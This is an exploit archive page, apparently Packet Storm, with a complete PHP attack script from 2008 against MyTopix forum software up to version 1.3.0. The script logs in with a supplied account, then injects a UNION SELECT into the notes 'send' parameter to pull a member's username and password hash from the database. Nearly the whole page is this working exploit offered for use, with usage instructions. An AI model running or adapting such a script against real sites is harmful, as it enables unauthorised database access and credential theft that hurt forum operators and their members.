exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

mytopix-sql.txt

mytopix-sql.txt
Posted Nov 19, 2008
Authored by cOndemned | Site condemned.r00t.la

MyTopix versions 1.3.0 and below remote SQL injection exploit.

tags | exploit, remote, sql injection
SHA-256 | d6ffcbc9c4384ca4ffc95dc343f307dcd1c2ee1ea7077f7d1e5328bc03e5069b

mytopix-sql.txt

Change Mirror Download
<?php

/**
*
* MyTopix <= 1.3.0 (notes send) Remote SQL Injection Exploit
* Bug discovered & exploited by cOndemned
*
* Desc :
* In order to exploit this vulnerability user have to
* be logged on the forum, so I'd decided to write this
* exploit x]
*
* Greetz :
* Ex. fobidd3n t3am - Sw33t, Kr0licz3k & KraFT, irk4z,
* ZaBeaTy, Necro, str0ke, suN8Hclf, 0in, m4r1usz, TBH,
* Av...
*
*
* "What is left to die for? What is left to give..."
*/


class MyTopixSploit
{
private $socket;
private $evil;
private $inj;
private $host;
private $path;
private $login;
private $password;
private $csid;
private $cpass;

public function __construct()
{
$this -> evil = '';
$this -> socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
$this -> inj = '-1+UNION+SELECT+concat(members_name,0x3a,members_pass)+FROM+my_members+WHERE+members_id=2--';
}

private function send($packet)
{
if(!$this -> socket) $this -> socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);

socket_connect($this -> socket, gethostbyname($this -> host), 80) or die("[-] Couldn't connect with specified host\r\n");
socket_write($this -> socket, $packet, strlen($packet)) or die("[-] Couldn't send requrested packet\r\n");

while($resp = socket_read($this -> socket, 2048)) $output .= $resp;

socket_shutdown($this -> socket, 2);
socket_close($this -> socket);
unset($this -> socket);

return $output;
}

public function target($host, $path)
{
$this -> host = (substr($host, 0, 7) === 'http://') ? substr($host, 7) : $host;
$this -> path = (substr($path, -1) === '/') ? substr($path, 0, -1) : $path;
}

public function usage()
{
return "[~] Usage : php mytopix130-sql.php <target_host> <path> <username> <user-pass>\r\n\r\n";
}

public function login($login, $password)
{
$post = "username=$login&password=$password&hash=5aaaea2d9cd5b549a857e02190cb4542";
$this -> evil =
"POST {$this -> path}/index.php?a=logon&CODE=01 HTTP/1.1\r\n" .
"Host: {$this -> host}\r\n" .
"Referer: http://{$this -> host}{$this -> path}\r\n" .
"User-Agent: Opera/9.62 (X11; Linux i686; U; pl) Presto/2.1.1\r\n" .
"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*#/*;q=0.8\r\n" .
"Accept-Language: pl,en-us;q=0.7,en;q=0.3\r\n" .
"Accept-Charset: ISO-8859-2,utf-8;q=0.7,*;q=0.7\r\n" .
"Connection: Close\r\n" .
"Content-Type: application/x-www-form-urlencoded\r\n" .
"Content-length: " . strlen($post) . "\r\n\r\n$post";

return $this -> send($this -> evil);
}

public function inject($cid, $cpass)
{
$this -> evil =
"GET {$this->path}/index.php?a=notes&CODE=07&send=$this->inj HTTP/1.1\r\n" .
"Host: {$this->host}\r\n" .
"Referer: http://{$this->host}{$this->path}/\r\n" .
"User-Agent: Opera/9.62 (X11; Linux i686; U; pl) Presto/2.1.1\r\n" .
"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n" .
"Accept-Language: pl,en-us;q=0.7,en;q=0.3\r\n" .
"Accept-Charset: ISO-8859-2,utf-8;q=0.7,*;q=0.7\r\n" .
"Cookie: my_id={$cid}; my_pass={$cpass}\r\n" .
"Connection: close\r\n\r\n";

return $this -> send($this -> evil);
}
};


$xpl = new MyTopixSploit();

echo <<< HEADER

+--------------------------------------------------------------------------+
| |
| MyTopix <= 1.3.0 (notes send) Remote SQL Injection Exploit |
| ========================================================== |
| Author ......................................... cOndemned |
| Contact ...................... digital_future[at]p2[dot]pl |
| Conditions ......................... Need account on forum |
| |
+--------------------------------------------------------------------------+


HEADER;

if($argc != 5)
echo $xpl -> usage();
else
{
list($script, $host, $path, $login, $password) = $argv;

$xpl -> target($host, $path);
$head = $xpl -> login($login, $password);

printf("[~] Trying to login with nick: %s, and password: %s...\r\n", $login, $password);

$cookie['USERID'] = preg_match_all('!id=([0-9]+);!is', $head, $tmp) ? $tmp[1][0] : die("[-] Couldn't retrive user id\r\n");
$cookie['PASSWD'] = preg_match_all('!pass=([a-f0-9]{32});!is', $head, $tmp) ? $tmp[1][0] : die("[-] Couldn't retrive user password\r\n");

$src = $xpl -> inject($cookie['USERID'], $cookie['PASSWD']);

printf("[~] Sending packet ...\r\n");

$resp = preg_match_all("!value='([a-z0-9]+?):([a-f0-9]+?)'!is", $src, $out)
? "[+] Login: {$out[1][0]}\r\n[+] Pass: {$out[2][0]}" : "[-] Exploitation failed";

printf("[~] Done...\r\n%s \r\n\r\n", $resp);
}

?>

Login or Register to add favorites

File Archive:

October 2023

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    0 Files
  • 2
    Oct 2nd
    22 Files
  • 3
    Oct 3rd
    0 Files
  • 4
    Oct 4th
    0 Files
  • 5
    Oct 5th
    0 Files
  • 6
    Oct 6th
    0 Files
  • 7
    Oct 7th
    0 Files
  • 8
    Oct 8th
    0 Files
  • 9
    Oct 9th
    0 Files
  • 10
    Oct 10th
    0 Files
  • 11
    Oct 11th
    0 Files
  • 12
    Oct 12th
    0 Files
  • 13
    Oct 13th
    0 Files
  • 14
    Oct 14th
    0 Files
  • 15
    Oct 15th
    0 Files
  • 16
    Oct 16th
    0 Files
  • 17
    Oct 17th
    0 Files
  • 18
    Oct 18th
    0 Files
  • 19
    Oct 19th
    0 Files
  • 20
    Oct 20th
    0 Files
  • 21
    Oct 21st
    0 Files
  • 22
    Oct 22nd
    0 Files
  • 23
    Oct 23rd
    0 Files
  • 24
    Oct 24th
    0 Files
  • 25
    Oct 25th
    0 Files
  • 26
    Oct 26th
    0 Files
  • 27
    Oct 27th
    0 Files
  • 28
    Oct 28th
    0 Files
  • 29
    Oct 29th
    0 Files
  • 30
    Oct 30th
    0 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close